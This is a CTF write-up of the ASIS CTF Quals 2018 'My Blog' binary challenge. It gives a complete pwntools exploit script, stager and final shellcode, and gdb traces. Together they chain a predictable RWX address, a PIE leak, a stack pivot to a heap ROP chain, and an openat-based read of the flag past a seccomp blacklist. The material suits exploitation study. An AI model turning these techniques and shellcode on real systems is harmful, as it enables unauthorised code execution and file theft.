ASIS CTF Quals 2018 - My Blog

Hey! I created a new blog system, and I think my blog is very secure!!! Come on, friend!

nc 159.65.125.233 31337

Attachment: myblog xpl.py

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
███╗   ███╗██╗   ██╗    ██████╗ ██╗      ██████╗  ██████╗ 
████╗ ████║╚██╗ ██╔╝    ██╔══██╗██║     ██╔═══██╗██╔════╝ 
██╔████╔██║ ╚████╔╝     ██████╔╝██║     ██║   ██║██║  ███╗
██║╚██╔╝██║  ╚██╔╝      ██╔══██╗██║     ██║   ██║██║   ██║
██║ ╚═╝ ██║   ██║       ██████╔╝███████╗╚██████╔╝╚██████╔╝
╚═╝     ╚═╝   ╚═╝       ╚═════╝ ╚══════╝ ╚═════╝  ╚═════╝ 
                                                          
1. Write a blog post
2. Delete a blog post
3. Show the blog owner
4. Exit

While this challenge might look like a heap challenge at first, it’s not…

We can create and delete blog posts, which will be put on the heap, but that’s it for being heap related. The interesting part is hidden in Show the blog owner

3
Old Owner : my_blog
New Owner :

This let’s us write a new blog owner, but we’re only allowed to input 7 bytes for this. Let’s check some code to see, what’s behind the blog owner

void init_app()
{  
  show_banner();

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);  

  srand(time(0));           
  
  mapped_region = mmap((void *)(rand() & 0xFFFFF000), 0x2000uLL, 7, 34, -1, 0LL);

  BLOG_OWNER = mapped_region;
  *mapped_region = 'golb_ym';
  
  init_seccomp();
}

This will set up a rwx section at a “random” address, but since the random generator is seeded with the current time, we can easily guess the address for this section.

This region will be used to store the blog owner (which is also the one, we can change in Show the blog owner)

void show_blog()
{
  printf("Old Owner : %s\n", BLOG_OWNER);
  puts("New Owner : ");
  read(0, BLOG_OWNER, 7);
  BLOG_OWNER[7] = 0
  
  puts("Done!!");
}

So we can write 7 bytes to a rwx section. This already yells to put a shellcode there. But then again 7 bytes aren’t quite much for doing something useful there.

Checking the main function, we can also see, that there’s a hidden menu, when entering 31337, which calls a function, which will for one leak its own address and lets us overwrite the return address with a value smaller then itself. We can use this to return to the rwx section, where we prepared a shellcode, which then will get executed.

int leet_leak()
{  
  puts("=============================================");
  printf("I will give you a gift %p\n", leet_leak);
  read(0, &buf, 0x18);
 
  // various checks
  ...
  
  puts("Done!!");
}

Adding blog entries, will create a chunk on the heap and store the address for the blog entry directly behind the blog owner in the rwx section

void write_blogentry()
{
  puts("Input content");
  blogentry = malloc(0x10);
  blogentry->content = malloc(0x30);
  read(0, blogentry->content, 0x2F);
  blogentry->content[47] = 0;

  puts("Input author");
  blogentry->author = malloc(8uLL);
  read(0, blogentry->author, 7uLL);
  blogentry->author[7] = 0;

  BLOG_OWNER[BLOG_COUNTER++ + 1] = blogentry;
  puts("Done!!");
}

We can use the blog entries to prepare small ropchains on the heap, and then try to pivot the stack to the heap with our initial “mini” shellcode.

  • Read the pie leak (because leaks are always good :-))
  • Prepare stager shellcode in blog owner
  • Prepare ropchain on heap
  • Trigger stager shellcode
  • Let it roll
#!/usr/bin/python
from pwn import *
import sys
import ctypes

ctypes.cdll.LoadLibrary("libc.so.6")
libc = ctypes.CDLL("libc.so.6")

LOCAL = True

HOST = "159.65.125.233"
PORT = 31337

def write_blog(content, author):
  r.sendline("1")
  r.recvline()
  r.send(content)
  r.recvline()
  r.send(author)
  r.recvuntil("Exit\n") 

def del_blog(idx):
  r.sendline("2")
  r.recvline()
  r.send(str(idx))
  r.recvuntil("Exit\n")

def show_blog(newauth):
  r.sendline("3")
  r.recvuntil("Old Owner : ")
  LEAK = r.recvline()[:-1]
  r.recvline()
  r.send(newauth)
  r.recvuntil("Exit\n")

  return LEAK

def get_pie_leak(overwrite_ret=False, ret=0, rbp=0):
  r.sendline("31337")
  r.recvuntil("gift ")
  LEAK = int(r.recvline().strip(), 16)
  
  if not overwrite_ret:
    r.sendline("0")
    r.recvuntil("Exit\n") 
  else:
    payload = "A"*8
    payload += p64(rbp)   
    payload += p64(ret)
    r.send(payload)

  return LEAK

def exploit(r):
  log.info("Initialize srand")  

  ADDR = libc.rand() & 0xFFFFF000

  log.info("RWX section at        : %s" % hex(ADDR))

  r.recvuntil("Exit\n")

  PIE = get_pie_leak()
  e.address = PIE - 0xef4

  log.info("PIE leak              : %s" % hex(PIE))
  log.info("PIE                   : %s" % hex(e.address))

  log.info("Initialize stager shellcode to pivot to heap ropchain")

  context.arch = "amd64"

  SC = """    
    push [rbp]
    pop rsp
    pop rbp
    leave
    ret
    """

  show_blog(asm(SC))

  log.info("Create ropchain to read bigger shellcode to rwx section")

  payload = p64(ADDR+0x8)
  payload += p64(e.address + 0xf20)
  payload += p64(0xdeadbeef)

  write_blog(payload, "B"*6)
  
  get_pie_leak(True, ADDR, ADDR+0x8)

  r.interactive()
  
  return

if __name__ == "__main__":
  e = ELF("./myblog")

  if len(sys.argv) > 1:
    LOCAL = False   
    r = remote(HOST, PORT)
    libc.srand(libc.time(0))
    exploit(r)
  else:
    LOCAL = True
    r = process("./myblog")
    libc.srand(libc.time(0))
    print util.proc.pidof(r)
    pause()
    exploit(r)

Quite some stuff that happens there, so, let’s get into detail…

  • get_pie_leak(True, ADDR, ADDR+0x8)

will set rbp to ADDR+0x8 and set rip to ADDR. Since we created a blog entry, ADDR+0x8 will point to a chunk on the heap

gdb-peda$ x/10gx 0x52d26000
0x52d26000: 0x00c3c95d5c0075ff  0x0000555555757670  shellcode / blog entry 0
0x52d26010: 0x0000000000000000  0x0000000000000000
0x52d26020: 0x0000000000000000  0x0000000000000000

Our stager shellcode

push [rbp]
pop rsp
pop rbp
leave
ret

will thus

  • push the address of the blog entry chunk onto the stack.
  • pop rsp will pivot the stack to the blog entry. The first pointer of a blog entry is a pointer to its content. Thus we’ll now have the content pointer on top of the stack
  • pop rbp will now move the content pointer to rbp
  • leave; ret will thus move rsp to content+8
  • and this will execute the ropchain we prepared in our blog entry :)
payload = p64(ADDR+0x8)
payload += p64(e.address + 0xf20)
payload += p64(0xdeadbeef)

will set rbp to rwx section + 8 and then jump to the read int the leet_leak function

lea     rax, [rbp-8]
mov     edx, 18h        ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
mov     eax, 0
call    _read

which will now read 24 bytes to the rwx section. So we can put another shellcode there.

Though, we can only use the first 16 bytes for our shellcode, since we have to put another return address at the end, so our ropchain can continue.

But 16 bytes are enough to do a second stager shellcode, which then lets us read the final shellcode.

log.info("Send second stager shellcode to read unlimited shellcode")

SC = """
    xor rax, rax
    xor rdi, rdi
    mov rsi, rsp    
    xchg rdx, r11
    syscall
    jmp next    
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop   
    next:
"""

payload = asm(SC)[:16]
payload += p64(ADDR)

r.send(payload)

The nops won’t be in our final shellcode and are only there to let pwntools calculate the jmp next correctly, because the return address will be stored in place of the nops (ADDR).

When the syscall gets executed rsp will point behind the just read data, and we’re writing the next shellcode to rsp.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af90c4 --> 0x477fffff0003d48 
RDX: 0x246 
RSI: 0x55ace018 --> 0x0 
RDI: 0x0 
RBP: 0x8eb050fda874ce6 
RSP: 0x55ace018 --> 0x0 
RIP: 0x55ace00c --> 0x55ace00008eb050f 
R8 : 0x7ffff7fe04c0 (0x00007ffff7fe04c0)
R9 : 0x26 ('&')
R10: 0x78 ('x')
R11: 0x7ffff7dd1880 --> 0x0 
R12: 0x555555554930 --> 0x89485ed18949ed31 
R13: 0x7fffffffe460 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55ace003:  xor    rdi,rdi
   0x55ace006:  mov    rsi,rsp
   0x55ace009:  xchg   rdx,r11
=> 0x55ace00c:  syscall 
   0x55ace00e:  jmp    0x55ace018
   0x55ace010:  add    al,ah
   0x55ace012:  lods   al,BYTE PTR ds:[rsi]
   0x55ace013:  push   rbp
No argument
[------------------------------------stack-------------------------------------]
0000| 0x55ace018 --> 0x0 
0008| 0x55ace020 --> 0x0 
0016| 0x55ace028 --> 0x0 
0024| 0x55ace030 --> 0x0 
0032| 0x55ace038 --> 0x0 
0040| 0x55ace040 --> 0x0 
0048| 0x55ace048 --> 0x0 
0056| 0x55ace050 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000055ace00c in ?? ()

So, this read will now read 0x246 bytes, to 0x55ace018 and our previous shellcode will then jump there. Should be more than enough to do some proper shellcode.

But there are some blacklisting seccomp rules active

  • arch : amd64 (so no transfer to 32bit)
  • open (2)
  • execve (59)
  • fork (57)
  • vfork (58)
  • clone (56)

No shell possible and we’re also not allowed to open the flag file to read it… But well, there’s still openat syscall to get around this :)

From the other pwnables, we can guess, that the flag will be stored at /home/pwn/flag, so we just do an openat/read/write shellcode to get this thing done.

log.info("Send final shellcode to read/open/write flag")

SC = """
    mov rax, 257
    mov rdi, -100
    mov rsi, %d
    xor rdx, rdx
    xor rcx, rcx
    syscall

    xchg rdi, rax
    xor rax, rax
    mov dl, 100
    syscall

    xor rax, rax
    mov al, 1
    mov rdi, 1
    syscall

""" % (ADDR+0xe0)

payload = asm(SC)
payload += "\x90"*(200-len(payload))
payload += "/home/pwn/flag\x00"

r.send(payload)

r.interactive()

Like already stated, the previous stager shellcode will read this to the destination, where our jmp is already pointing to, and executes it:

  • openat(-100, “/home/pwn/flag”, 0, 0)
  • read(fd, buffer, 100)
  • write(1, buffer, 100)

resulting in another flag:

$ python xpl.py 1
[*] '/home/kileak/blog/myblog'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 159.65.125.233 on port 31337: Done
[*] Initialize srand
[*] RWX section at        : 0x76c4d000
[*] PIE leak              : 0x56516c3d3ef4
[*] PIE                   : 0x56516c3d3000
[*] Initialize stager shellcode to pivot to heap ropchain
[*] Create ropchain to read bigger shellcode to rwx section
[*] Send second stager shellcode to read unlimited shellcode
[*] Send final shellcode to read/open/write flag
[*] Switching to interactive mode
Done!!
Done!!
ASIS{526eb5559eea12d1e965fe497b4abb0a308f2086}\x00\x00\x00
...
[*] Got EOF while reading in interactive